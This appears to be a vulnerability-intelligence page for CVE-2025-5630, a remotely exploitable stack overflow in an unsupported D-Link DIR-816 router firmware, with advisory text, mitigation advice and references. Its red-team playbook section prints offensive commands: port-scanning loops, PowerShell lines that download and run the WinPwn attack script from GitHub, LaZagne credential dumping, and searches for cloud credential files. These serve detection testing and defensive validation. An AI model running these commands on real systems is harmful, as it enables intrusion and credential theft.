CVE-2025-5630
Overview
This vulnerability is a stack-based buffer overflow caused by improper handling of the 'ip' argument within the /goform/form2lansetup.cgi endpoint of D-Link DIR-816 firmware version 1.10CNB05. The flaw arises from insufficient bounds checking on user-supplied input, leading to memory corruption on the stack. The affected component is the LAN setup CGI interface used for network configuration.
Vulnerability Description
A vulnerability has been found in D-Link DIR-816 1.10CNB05 and classified as critical. This vulnerability affects unknown code of the file /goform/form2lansetup.cgi. The manipulation of the argument ip leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. This vulnerability only affects products that are no longer supported by the maintainer.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the device with the privileges of the affected process, potentially gaining full control over the device. The exploit requires no user interaction and can be triggered over the network (AV:N/AC:L/PR:N/UI:N). Consequences include device compromise, service disruption, and potential lateral movement within the network environment. The critical CVSS score (9.8) reflects the high confidentiality, integrity, and availability impact (C:H/I:H/A:H).
Solution
D-Link has not provided official patches for DIR-816 firmware version 1.10CNB05 as the product is no longer supported. Users are advised to discontinue use of this firmware and replace affected devices with supported models. For detailed information, consult the advisory at https://vuldb.com/?id.311116. No vendor-issued mitigation or firmware update is available for this specific vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in the D-Link DIR-816 router, specifically in the handling of the `/goform/form2lansetup.cgi` file. The flaw is characterized by a stack-based buffer overflow that occurs when the `ip` argument is manipulated. This type of vulnerability allows an attacker to overwrite the stack memory, potentially leading to arbitrary code execution. The affected firmware version, 1.10CNB05, is no longer supported by the manufacturer, which exacerbates the risk as no patches or updates will be provided to address this security issue.
Attack vectors for this vulnerability are particularly concerning due to the ability for exploitation to occur remotely. An attacker could craft a malicious request that targets the vulnerable endpoint, sending specially formatted data to the `ip` parameter. If successful, this could lead to the execution of arbitrary code on the device, allowing the attacker to gain unauthorized access to the router’s administrative functions. Given that routers often serve as the gateway to home or corporate networks, the implications of such an attack could extend beyond the device itself, potentially compromising the entire network infrastructure.
The real-world impact of this vulnerability is significant, especially for organizations that still rely on the D-Link DIR-816 for their networking needs. The high CVSS score of 9.8 indicates that the vulnerability poses a severe threat, with the potential to lead to data breaches, unauthorized access to sensitive information, and further network exploitation. For businesses, the risks include financial losses, reputational damage, and regulatory penalties, particularly if customer data is compromised. Additionally, the lack of vendor support means that organizations using this router model may be left vulnerable to ongoing attacks, as there will be no official remediation steps provided.
To effectively detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular network scans and vulnerability assessments can help identify devices running unsupported firmware, allowing for timely remediation actions. Network segmentation can also be employed to limit the exposure of critical systems to potentially compromised devices. Furthermore, organizations should consider replacing unsupported hardware with newer models that receive regular updates and security patches. Intrusion detection systems (IDS) can be configured to monitor for unusual traffic patterns or exploit attempts targeting the vulnerable endpoint, providing an additional layer of defense.
In conclusion, the critical vulnerability in the D-Link DIR-816 presents a serious threat to both individual users and organizations. The combination of remote exploitability, the potential for significant impact, and the lack of vendor support creates a pressing need for proactive security measures. By understanding the technical details of the vulnerability, recognizing possible attack vectors, assessing the real-world implications, and implementing robust detection and mitigation strategies, organizations can better safeguard their networks against this and similar vulnerabilities in the future.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dlink | Dir-816 Firmware | 1.10cnb05 |
cpe:2.3:o:dlink:dir-816_firmware:1.10cnb05:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-5630 |
| vuldb.com |
GitHub CVE
vdb-entry
technical-description
|
https://vuldb.com/?id.311116 |
| vuldb.com |
GitHub CVE
signature
permissions-required
|
https://vuldb.com/?ctiid.311116 |
| vuldb.com |
GitHub CVE
third-party-advisory
|
https://vuldb.com/?submit.589779 |
| github.com |
GitHub CVE
exploit
|
https://github.com/wudipjq/my_vuln/blob/main/D-Link5/vuln_54/54.md |
| dlink.com |
GitHub CVE
product
|
https://www.dlink.com/ |